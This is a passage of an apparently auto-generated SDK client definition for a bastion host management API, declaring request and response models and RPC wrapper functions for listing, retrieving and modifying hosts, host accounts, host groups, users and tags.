privateKeyFingerprint?: string(name='PrivateKeyFingerprint'),
protocolName?: string(name='ProtocolName'),
hostAccountName?: string(name='HostAccountName'),
hostAccountId?: string(name='HostAccountId'),
hostId?: string(name='HostId'),
}(name='HostAccount'),
}
model GetHostAccountResponse = {
headers: map[string]string(name='headers'),
body: GetHostAccountResponseBody(name='body'),
}
async function getHostAccountWithOptions(request: GetHostAccountRequest, runtime: Util.RuntimeOptions): GetHostAccountResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetHostAccount', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getHostAccount(request: GetHostAccountRequest): GetHostAccountResponse {
var runtime = new Util.RuntimeOptions{};
return getHostAccountWithOptions(request, runtime);
}
model GetHostGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostGroupId?: string(name='HostGroupId'),
}
model GetHostGroupResponseBody = {
requestId?: string(name='RequestId'),
hostGroup?: {
hostGroupId?: string(name='HostGroupId'),
comment?: string(name='Comment'),
hostGroupName?: string(name='HostGroupName'),
}(name='HostGroup'),
}
model GetHostGroupResponse = {
headers: map[string]string(name='headers'),
body: GetHostGroupResponseBody(name='body'),
}
async function getHostGroupWithOptions(request: GetHostGroupRequest, runtime: Util.RuntimeOptions): GetHostGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetHostGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getHostGroup(request: GetHostGroupRequest): GetHostGroupResponse {
var runtime = new Util.RuntimeOptions{};
return getHostGroupWithOptions(request, runtime);
}
model GetInstanceUpgradeInfoRequest {
lang?: string(name='Lang'),
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
}
model GetInstanceUpgradeInfoResponseBody = {
requestId?: string(name='RequestId'),
instanceUpgradeInfo?: {
upgradeMode?: string(name='UpgradeMode'),
operable?: boolean(name='Operable'),
aliUid?: long(name='AliUid'),
latestStartTime?: long(name='LatestStartTime'),
imageVersion?: string(name='ImageVersion'),
instanceId?: string(name='InstanceId'),
periodInterval?: int32(name='PeriodInterval'),
upgradeStartTime?: long(name='UpgradeStartTime'),
upgradeEndTime?: long(name='UpgradeEndTime'),
candidatePeriodList?: [
{
candidateStartTime?: long(name='CandidateStartTime'),
candidateEndTime?: long(name='CandidateEndTime'),
}
](name='CandidatePeriodList'),
invalidPeriodList?: [
{
invalidEndTime?: long(name='InvalidEndTime'),
invalidStartTime?: long(name='InvalidStartTime'),
}
](name='InvalidPeriodList'),
}(name='InstanceUpgradeInfo'),
}
model GetInstanceUpgradeInfoResponse = {
headers: map[string]string(name='headers'),
body: GetInstanceUpgradeInfoResponseBody(name='body'),
}
async function getInstanceUpgradeInfoWithOptions(request: GetInstanceUpgradeInfoRequest, runtime: Util.RuntimeOptions): GetInstanceUpgradeInfoResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetInstanceUpgradeInfo', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getInstanceUpgradeInfo(request: GetInstanceUpgradeInfoRequest): GetInstanceUpgradeInfoResponse {
var runtime = new Util.RuntimeOptions{};
return getInstanceUpgradeInfoWithOptions(request, runtime);
}
model GetUserRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userId?: string(name='UserId'),
}
model GetUserResponseBody = {
requestId?: string(name='RequestId'),
user?: {
displayName?: string(name='DisplayName'),
comment?: string(name='Comment'),
email?: string(name='Email'),
mobile?: string(name='Mobile'),
mobileCountryCode?: string(name='MobileCountryCode'),
userId?: string(name='UserId'),
source?: string(name='Source'),
userName?: string(name='UserName'),
sourceUserId?: string(name='SourceUserId'),
userState?: [ string ](name='UserState'),
}(name='User'),
}
model GetUserResponse = {
headers: map[string]string(name='headers'),
body: GetUserResponseBody(name='body'),
}
async function getUserWithOptions(request: GetUserRequest, runtime: Util.RuntimeOptions): GetUserResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetUser', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getUser(request: GetUserRequest): GetUserResponse {
var runtime = new Util.RuntimeOptions{};
return getUserWithOptions(request, runtime);
}
model GetUserGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userGroupId?: string(name='UserGroupId'),
}
model GetUserGroupResponseBody = {
requestId?: string(name='RequestId'),
userGroup?: {
userGroupName?: string(name='UserGroupName'),
comment?: string(name='Comment'),
userGroupId?: string(name='UserGroupId'),
}(name='UserGroup'),
}
model GetUserGroupResponse = {
headers: map[string]string(name='headers'),
body: GetUserGroupResponseBody(name='body'),
}
async function getUserGroupWithOptions(request: GetUserGroupRequest, runtime: Util.RuntimeOptions): GetUserGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetUserGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getUserGroup(request: GetUserGroupRequest): GetUserGroupResponse {
var runtime = new Util.RuntimeOptions{};
return getUserGroupWithOptions(request, runtime);
}
model ListHostAccountsRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostId?: string(name='HostId'),
pageNumber?: string(name='PageNumber'),
pageSize?: string(name='PageSize'),
hostAccountName?: string(name='HostAccountName'),
protocolName?: string(name='ProtocolName'),
}
model ListHostAccountsResponseBody = {
totalCount?: int32(name='TotalCount'),
requestId?: string(name='RequestId'),
hostAccounts?: [
{
hasPassword?: boolean(name='HasPassword'),
privateKeyFingerprint?: string(name='PrivateKeyFingerprint'),
protocolName?: string(name='ProtocolName'),
hostAccountName?: string(name='HostAccountName'),
hostAccountId?: string(name='HostAccountId'),
hostId?: string(name='HostId'),
}
](name='HostAccounts'),
}
model ListHostAccountsResponse = {
headers: map[string]string(name='headers'),
body: ListHostAccountsResponseBody(name='body'),
}
async function listHostAccountsWithOptions(request: ListHostAccountsRequest, runtime: Util.RuntimeOptions): ListHostAccountsResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListHostAccounts', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listHostAccounts(request: ListHostAccountsRequest): ListHostAccountsResponse {
var runtime = new Util.RuntimeOptions{};
return listHostAccountsWithOptions(request, runtime);
}
model ListHostAccountsForUserRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userId?: string(name='UserId'),
hostId?: string(name='HostId'),
pageNumber?: string(name='PageNumber'),
pageSize?: string(name='PageSize'),
hostAccountName?: string(name='HostAccountName'),
}
model ListHostAccountsForUserResponseBody = {
totalCount?: int32(name='TotalCount'),
requestId?: string(name='RequestId'),
hostAccounts?: [
{
hostAccountName?: string(name='HostAccountName'),
hostAccountId?: string(name='HostAccountId'),
isAuthorized?: boolean(name='IsAuthorized'),
protocolName?: string(name='ProtocolName'),
hostId?: string(name='HostId'),
}
](name='HostAccounts'),
}
model ListHostAccountsForUserResponse = {
headers: map[string]string(name='headers'),
body: ListHostAccountsForUserResponseBody(name='body'),
}
async function listHostAccountsForUserWithOptions(request: ListHostAccountsForUserRequest, runtime: Util.RuntimeOptions): ListHostAccountsForUserResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListHostAccountsForUser', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listHostAccountsForUser(request: ListHostAccountsForUserRequest): ListHostAccountsForUserResponse {
var runtime = new Util.RuntimeOptions{};
return listHostAccountsForUserWithOptions(request, runtime);
}
model ListHostAccountsForUserGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userGroupId?: string(name='UserGroupId'),
hostId?: string(name='HostId'),
pageNumber?: string(name='PageNumber'),
pageSize?: string(name='PageSize'),
hostAccountName?: string(name='HostAccountName'),
}
model ListHostAccountsForUserGroupResponseBody = {
totalCount?: int32(name='TotalCount'),
requestId?: string(name='RequestId'),
hostAccounts?: [
{
hostAccountName?: string(name='HostAccountName'),
hostAccountId?: string(name='HostAccountId'),
isAuthorized?: boolean(name='IsAuthorized'),
protocolName?: string(name='ProtocolName'),
hostId?: string(name='HostId'),
}
](name='HostAccounts'),
}
model ListHostAccountsForUserGroupResponse = {
headers: map[string]string(name='headers'),
body: ListHostAccountsForUserGroupResponseBody(name='body'),
}
async function listHostAccountsForUserGroupWithOptions(request: ListHostAccountsForUserGroupRequest, runtime: Util.RuntimeOptions): ListHostAccountsForUserGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListHostAccountsForUserGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listHostAccountsForUserGroup(request: ListHostAccountsForUserGroupRequest): ListHostAccountsForUserGroupResponse {
var runtime = new Util.RuntimeOptions{};
return listHostAccountsForUserGroupWithOptions(request, runtime);
}
model ListHostGroupAccountNamesForUserRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userId?: string(name='UserId'),
hostGroupId?: string(name='HostGroupId'),
}
model ListHostGroupAccountNamesForUserResponseBody = {
requestId?: string(name='RequestId'),
hostAccountNames?: [ string ](name='HostAccountNames'),
}
model ListHostGroupAccountNamesForUserResponse = {
headers: map[string]string(name='headers'),
body: ListHostGroupAccountNamesForUserResponseBody(name='body'),
}
async function listHostGroupAccountNamesForUserWithOptions(request: ListHostGroupAccountNamesForUserRequest, runtime: Util.RuntimeOptions): ListHostGroupAccountNamesForUserResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListHostGroupAccountNamesForUser', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listHostGroupAccountNamesForUser(request: ListHostGroupAccountNamesForUserRequest): ListHostGroupAccountNamesForUserResponse {
var runtime = new Util.RuntimeOptions{};
return listHostGroupAccountNamesForUserWithOptions(request, runtime);
}
model ListHostGroupAccountNamesForUserGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userGroupId?: string(name='UserGroupId'),
hostGroupId?: string(name='HostGroupId'),
}
model ListHostGroupAccountNamesForUserGroupResponseBody = {
requestId?: string(name='RequestId'),
hostAccountNames?: [ string ](name='HostAccountNames'),
}
model ListHostGroupAccountNamesForUserGroupResponse = {
headers: map[string]string(name='headers'),
body: ListHostGroupAccountNamesForUserGroupResponseBody(name='body'),
}
async function listHostGroupAccountNamesForUserGroupWithOptions(request: ListHostGroupAccountNamesForUserGroupRequest, runtime: Util.RuntimeOptions): ListHostGroupAccountNamesForUserGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListHostGroupAccountNamesForUserGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listHostGroupAccountNamesForUserGroup(request: ListHostGroupAccountNamesForUserGroupRequest): ListHostGroupAccountNamesForUserGroupResponse {
var runtime = new Util.RuntimeOptions{};
return listHostGroupAccountNamesForUserGroupWithOptions(request, runtime);
}
model ListHostGroupsRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
pageNumber?: string(name='PageNumber'),
pageSize?: string(name='PageSize'),
hostGroupName?: string(name='HostGroupName'),
}
model ListHostGroupsResponseBody = {
totalCount?: int32(name='TotalCount'),
requestId?: string(name='RequestId'),
hostGroups?: [
{
memberCount?: int32(name='MemberCount'),
hostGroupId?: string(name='HostGroupId'),
comment?: string(name='Comment'),
hostGroupName?: string(name='HostGroupName'),
}
](name='HostGroups'),
}
model ListHostGroupsResponse = {
headers: map[string]string(name='headers'),
body: ListHostGroupsResponseBody(name='body'),
}
async function listHostGroupsWithOptions(request: ListHostGroupsRequest, runtime: Util.RuntimeOptions): ListHostGroupsResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListHostGroups', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listHostGroups(request: ListHostGroupsRequest): ListHostGroupsResponse {
var runtime = new Util.RuntimeOptions{};
return listHostGroupsWithOptions(request, runtime);
}
model ListHostGroupsForUserRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
mode?: string(name='Mode'),
userId?: string(name='UserId'),
pageNumber?: string(name='PageNumber'),
pageSize?: string(name='PageSize'),
hostGroupName?: string(name='HostGroupName'),
}
model ListHostGroupsForUserResponseBody = {
totalCount?: int32(name='TotalCount'),
requestId?: string(name='RequestId'),
hostGroups?: [
{
hostGroupId?: string(name='HostGroupId'),
comment?: string(name='Comment'),
hostGroupName?: string(name='HostGroupName'),
}
](name='HostGroups'),
}
model ListHostGroupsForUserResponse = {
headers: map[string]string(name='headers'),
body: ListHostGroupsForUserResponseBody(name='body'),
}
async function listHostGroupsForUserWithOptions(request: ListHostGroupsForUserRequest, runtime: Util.RuntimeOptions): ListHostGroupsForUserResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListHostGroupsForUser', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listHostGroupsForUser(request: ListHostGroupsForUserRequest): ListHostGroupsForUserResponse {
var runtime = new Util.RuntimeOptions{};
return listHostGroupsForUserWithOptions(request, runtime);
}
model ListHostGroupsForUserGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
mode?: string(name='Mode'),
userGroupId?: string(name='UserGroupId'),
pageNumber?: string(name='PageNumber'),
pageSize?: string(name='PageSize'),
hostGroupName?: string(name='HostGroupName'),
}
model ListHostGroupsForUserGroupResponseBody = {
totalCount?: int32(name='TotalCount'),
requestId?: string(name='RequestId'),
hostGroups?: [
{
hostGroupId?: string(name='HostGroupId'),
comment?: string(name='Comment'),
hostGroupName?: string(name='HostGroupName'),
}
](name='HostGroups'),
}
model ListHostGroupsForUserGroupResponse = {
headers: map[string]string(name='headers'),
body: ListHostGroupsForUserGroupResponseBody(name='body'),
}
async function listHostGroupsForUserGroupWithOptions(request: ListHostGroupsForUserGroupRequest, runtime: Util.RuntimeOptions): ListHostGroupsForUserGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListHostGroupsForUserGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listHostGroupsForUserGroup(request: ListHostGroupsForUserGroupRequest): ListHostGroupsForUserGroupResponse {
var runtime = new Util.RuntimeOptions{};
return listHostGroupsForUserGroupWithOptions(request, runtime);
}
model ListHostsRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
pageNumber?: string(name='PageNumber'),
pageSize?: string(name='PageSize'),
OSType?: string(name='OSType'),
hostName?: string(name='HostName'),
hostAddress?: string(name='HostAddress'),
source?: string(name='Source'),
sourceInstanceId?: string(name='SourceInstanceId'),
sourceInstanceState?: string(name='SourceInstanceState'),
hostGroupId?: string(name='HostGroupId'),
}
model ListHostsResponseBody = {
totalCount?: int32(name='TotalCount'),
requestId?: string(name='RequestId'),
hosts?: [
{
comment?: string(name='Comment'),
activeAddressType?: string(name='ActiveAddressType'),
hostPublicAddress?: string(name='HostPublicAddress'),
hostName?: string(name='HostName'),
hostAccountCount?: int32(name='HostAccountCount'),
source?: string(name='Source'),
hostPrivateAddress?: string(name='HostPrivateAddress'),
OSType?: string(name='OSType'),
hostId?: string(name='HostId'),
sourceInstanceState?: string(name='SourceInstanceState'),
sourceInstanceId?: string(name='SourceInstanceId'),
}
](name='Hosts'),
}
model ListHostsResponse = {
headers: map[string]string(name='headers'),
body: ListHostsResponseBody(name='body'),
}
async function listHostsWithOptions(request: ListHostsRequest, runtime: Util.RuntimeOptions): ListHostsResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListHosts', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listHosts(request: ListHostsRequest): ListHostsResponse {
var runtime = new Util.RuntimeOptions{};
return listHostsWithOptions(request, runtime);
}
model ListHostsForUserRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
mode?: string(name='Mode'),
userId?: string(name='UserId'),
pageNumber?: string(name='PageNumber'),
pageSize?: string(name='PageSize'),
hostAddress?: string(name='HostAddress'),
hostName?: string(name='HostName'),
OSType?: string(name='OSType'),
}
model ListHostsForUserResponseBody = {
totalCount?: int32(name='TotalCount'),
requestId?: string(name='RequestId'),
hosts?: [
{
comment?: string(name='Comment'),
activeAddressType?: string(name='ActiveAddressType'),
hostPublicAddress?: string(name='HostPublicAddress'),
hostName?: string(name='HostName'),
hostPrivateAddress?: string(name='HostPrivateAddress'),
OSType?: string(name='OSType'),
hostId?: string(name='HostId'),
}
](name='Hosts'),
}
model ListHostsForUserResponse = {
headers: map[string]string(name='headers'),
body: ListHostsForUserResponseBody(name='body'),
}
async function listHostsForUserWithOptions(request: ListHostsForUserRequest, runtime: Util.RuntimeOptions): ListHostsForUserResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListHostsForUser', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listHostsForUser(request: ListHostsForUserRequest): ListHostsForUserResponse {
var runtime = new Util.RuntimeOptions{};
return listHostsForUserWithOptions(request, runtime);
}
model ListHostsForUserGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
mode?: string(name='Mode'),
userGroupId?: string(name='UserGroupId'),
pageNumber?: string(name='PageNumber'),
pageSize?: string(name='PageSize'),
hostAddress?: string(name='HostAddress'),
hostName?: string(name='HostName'),
OSType?: string(name='OSType'),
}
model ListHostsForUserGroupResponseBody = {
totalCount?: int32(name='TotalCount'),
requestId?: string(name='RequestId'),
hosts?: [
{
comment?: string(name='Comment'),
activeAddressType?: string(name='ActiveAddressType'),
hostPublicAddress?: string(name='HostPublicAddress'),
hostName?: string(name='HostName'),
hostPrivateAddress?: string(name='HostPrivateAddress'),
OSType?: string(name='OSType'),
hostId?: string(name='HostId'),
}
](name='Hosts'),
}
model ListHostsForUserGroupResponse = {
headers: map[string]string(name='headers'),
body: ListHostsForUserGroupResponseBody(name='body'),
}
async function listHostsForUserGroupWithOptions(request: ListHostsForUserGroupRequest, runtime: Util.RuntimeOptions): ListHostsForUserGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListHostsForUserGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listHostsForUserGroup(request: ListHostsForUserGroupRequest): ListHostsForUserGroupResponse {
var runtime = new Util.RuntimeOptions{};
return listHostsForUserGroupWithOptions(request, runtime);
}
model ListTagKeysRequest {
regionId?: string(name='RegionId'),
resourceType?: string(name='ResourceType'),
pageSize?: int32(name='PageSize'),
pageNumber?: int32(name='PageNumber'),
}
model ListTagKeysResponseBody = {
requestId?: string(name='RequestId'),
pageNumber?: int32(name='PageNumber'),
pageSize?: int32(name='PageSize'),
totalCount?: int32(name='TotalCount'),
tagKeys?: [
{
tagCount?: int32(name='TagCount'),
tagKey?: string(name='TagKey'),
}
](name='TagKeys'),
}
model ListTagKeysResponse = {
headers: map[string]string(name='headers'),
body: ListTagKeysResponseBody(name='body'),
}
async function listTagKeysWithOptions(request: ListTagKeysRequest, runtime: Util.RuntimeOptions): ListTagKeysResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListTagKeys', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listTagKeys(request: ListTagKeysRequest): ListTagKeysResponse {
var runtime = new Util.RuntimeOptions{};
return listTagKeysWithOptions(request, runtime);
}
model ListTagResourcesRequest {
regionId?: string(name='RegionId'),
resourceType?: string(name='ResourceType'),
nextToken?: string(name='NextToken'),
resourceId?: [ string ](name='ResourceId'),
tag?: [
{
key?: string(name='Key'),
value?: string(name='Value'),
}
](name='Tag'),
}
model ListTagResourcesResponseBody = {
nextToken?: string(name='NextToken'),
requestId?: string(name='RequestId'),
tagResources?: [
{
tagValue?: string(name='TagValue'),
resourceType?: string(name='ResourceType'),
resourceId?: string(name='ResourceId'),
tagKey?: string(name='TagKey'),
}
](name='TagResources'),
}
model ListTagResourcesResponse = {
headers: map[string]string(name='headers'),
body: ListTagResourcesResponseBody(name='body'),
}
async function listTagResourcesWithOptions(request: ListTagResourcesRequest, runtime: Util.RuntimeOptions): ListTagResourcesResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListTagResources', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listTagResources(request: ListTagResourcesRequest): ListTagResourcesResponse {
var runtime = new Util.RuntimeOptions{};
return listTagResourcesWithOptions(request, runtime);
}
model ListUserGroupsRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
pageNumber?: string(name='PageNumber'),
pageSize?: string(name='PageSize'),
userGroupName?: string(name='UserGroupName'),
}
model ListUserGroupsResponseBody = {
totalCount?: int32(name='TotalCount'),
requestId?: string(name='RequestId'),
userGroups?: [
{
userGroupName?: string(name='UserGroupName'),
memberCount?: int32(name='MemberCount'),
comment?: string(name='Comment'),
userGroupId?: string(name='UserGroupId'),
}
](name='UserGroups'),
}
model ListUserGroupsResponse = {
headers: map[string]string(name='headers'),
body: ListUserGroupsResponseBody(name='body'),
}
async function listUserGroupsWithOptions(request: ListUserGroupsRequest, runtime: Util.RuntimeOptions): ListUserGroupsResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListUserGroups', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listUserGroups(request: ListUserGroupsRequest): ListUserGroupsResponse {
var runtime = new Util.RuntimeOptions{};
return listUserGroupsWithOptions(request, runtime);
}
model ListUsersRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
pageNumber?: string(name='PageNumber'),
pageSize?: string(name='PageSize'),
userName?: string(name='UserName'),
displayName?: string(name='DisplayName'),
source?: string(name='Source'),
mobile?: string(name='Mobile'),
userState?: string(name='UserState'),
sourceUserId?: string(name='SourceUserId'),
userGroupId?: string(name='UserGroupId'),
}
model ListUsersResponseBody = {
totalCount?: int32(name='TotalCount'),
requestId?: string(name='RequestId'),
users?: [
{
displayName?: string(name='DisplayName'),
email?: string(name='Email'),
comment?: string(name='Comment'),
mobileCountryCode?: string(name='MobileCountryCode'),
mobile?: string(name='Mobile'),
userId?: string(name='UserId'),
source?: string(name='Source'),
userName?: string(name='UserName'),
sourceUserId?: string(name='SourceUserId'),
userState?: [ string ](name='UserState'),
}
](name='Users'),
}
model ListUsersResponse = {
headers: map[string]string(name='headers'),
body: ListUsersResponseBody(name='body'),
}
async function listUsersWithOptions(request: ListUsersRequest, runtime: Util.RuntimeOptions): ListUsersResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ListUsers', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function listUsers(request: ListUsersRequest): ListUsersResponse {
var runtime = new Util.RuntimeOptions{};
return listUsersWithOptions(request, runtime);
}
model LockUsersRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
userIds?: string(name='UserIds'),
}
model LockUsersResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
userId?: string(name='UserId'),
}
](name='Results'),
}
model LockUsersResponse = {
headers: map[string]string(name='headers'),
body: LockUsersResponseBody(name='body'),
}
async function lockUsersWithOptions(request: LockUsersRequest, runtime: Util.RuntimeOptions): LockUsersResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('LockUsers', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function lockUsers(request: LockUsersRequest): LockUsersResponse {
var runtime = new Util.RuntimeOptions{};
return lockUsersWithOptions(request, runtime);
}
model ModifyHostRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostId?: string(name='HostId'),
hostPrivateAddress?: string(name='HostPrivateAddress'),
hostPublicAddress?: string(name='HostPublicAddress'),
OSType?: string(name='OSType'),
hostName?: string(name='HostName'),
comment?: string(name='Comment'),
}
model ModifyHostResponseBody = {
requestId?: string(name='RequestId'),
}
model ModifyHostResponse = {
headers: map[string]string(name='headers'),
body: ModifyHostResponseBody(name='body'),
}
async function modifyHostWithOptions(request: ModifyHostRequest, runtime: Util.RuntimeOptions): ModifyHostResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ModifyHost', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function modifyHost(request: ModifyHostRequest): ModifyHostResponse {
var runtime = new Util.RuntimeOptions{};
return modifyHostWithOptions(request, runtime);
}
model ModifyHostAccountRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostAccountId?: string(name='HostAccountId'),
hostAccountName?: string(name='HostAccountName'),
password?: string(name='Password'),
privateKey?: string(name='PrivateKey'),
passPhrase?: string(name='PassPhrase'),
}
model ModifyHostAccountResponseBody = {
requestId?: string(name='RequestId'),
}
model ModifyHostAccountResponse = {
headers: map[string]string(name='headers'),
body: ModifyHostAccountResponseBody(name='body'),
}
async function modifyHostAccountWithOptions(request: ModifyHostAccountRequest, runtime: Util.RuntimeOptions): ModifyHostAccountResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ModifyHostAccount', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function modifyHostAccount(request: ModifyHostAccountRequest): ModifyHostAccountResponse {
var runtime = new Util.RuntimeOptions{};
return modifyHostAccountWithOptions(request, runtime);
}
model ModifyHostGroupRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostGroupId?: string(name='HostGroupId'),
hostGroupName?: string(name='HostGroupName'),
comment?: string(name='Comment'),
}
model ModifyHostGroupResponseBody = {
requestId?: string(name='RequestId'),
}
model ModifyHostGroupResponse = {
headers: map[string]string(name='headers'),
body: ModifyHostGroupResponseBody(name='body'),
}
async function modifyHostGroupWithOptions(request: ModifyHostGroupRequest, runtime: Util.RuntimeOptions): ModifyHostGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ModifyHostGroup', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function modifyHostGroup(request: ModifyHostGroupRequest): ModifyHostGroupResponse {
var runtime = new Util.RuntimeOptions{};
return modifyHostGroupWithOptions(request, runtime);
}
model ModifyHostsActiveAddressTypeRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostIds?: string(name='HostIds'),
activeAddressType?: string(name='ActiveAddressType'),
}
model ModifyHostsActiveAddressTypeResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostId?: string(name='HostId'),
}
](name='Results'),
}
model ModifyHostsActiveAddressTypeResponse = {
headers: map[string]string(name='headers'),
body: ModifyHostsActiveAddressTypeResponseBody(name='body'),
}
async function modifyHostsActiveAddressTypeWithOptions(request: ModifyHostsActiveAddressTypeRequest, runtime: Util.RuntimeOptions): ModifyHostsActiveAddressTypeResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ModifyHostsActiveAddressType', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function modifyHostsActiveAddressType(request: ModifyHostsActiveAddressTypeRequest): ModifyHostsActiveAddressTypeResponse {
var runtime = new Util.RuntimeOptions{};
return modifyHostsActiveAddressTypeWithOptions(request, runtime);
}
model ModifyHostsPortRequest {
instanceId?: string(name='InstanceId'),
regionId?: string(name='RegionId'),
hostIds?: string(name='HostIds'),
protocolName?: string(name='ProtocolName'),
port?: string(name='Port'),
}
model ModifyHostsPortResponseBody = {
requestId?: string(name='RequestId'),
results?: [
{
code?: string(name='Code'),
message?: string(name='Message'),
hostId?: string(name='HostId'),
}
](name='Results'),
}
model ModifyHostsPortResponse = {
headers: map[string]string(name='headers'),
body: ModifyHostsPortResponseBody(name='body'),
}
async function modifyHostsPortWithOptions(request: ModifyHostsPortRequest, runtime: Util.RuntimeOptions): ModifyHostsPortResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('ModifyHostsPort', '2019-12-09', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function modifyHostsPort(request: ModifyHostsPortRequest): ModifyHostsPortResponse {
var runtime = new Util.RuntimeOptions{};
return modifyHostsPortWithOptions(request, runtime);
}
model ModifyInstanceAttributeRequest {
instanceId?: string(name='InstanceId'),
description?: string(name='Description'),
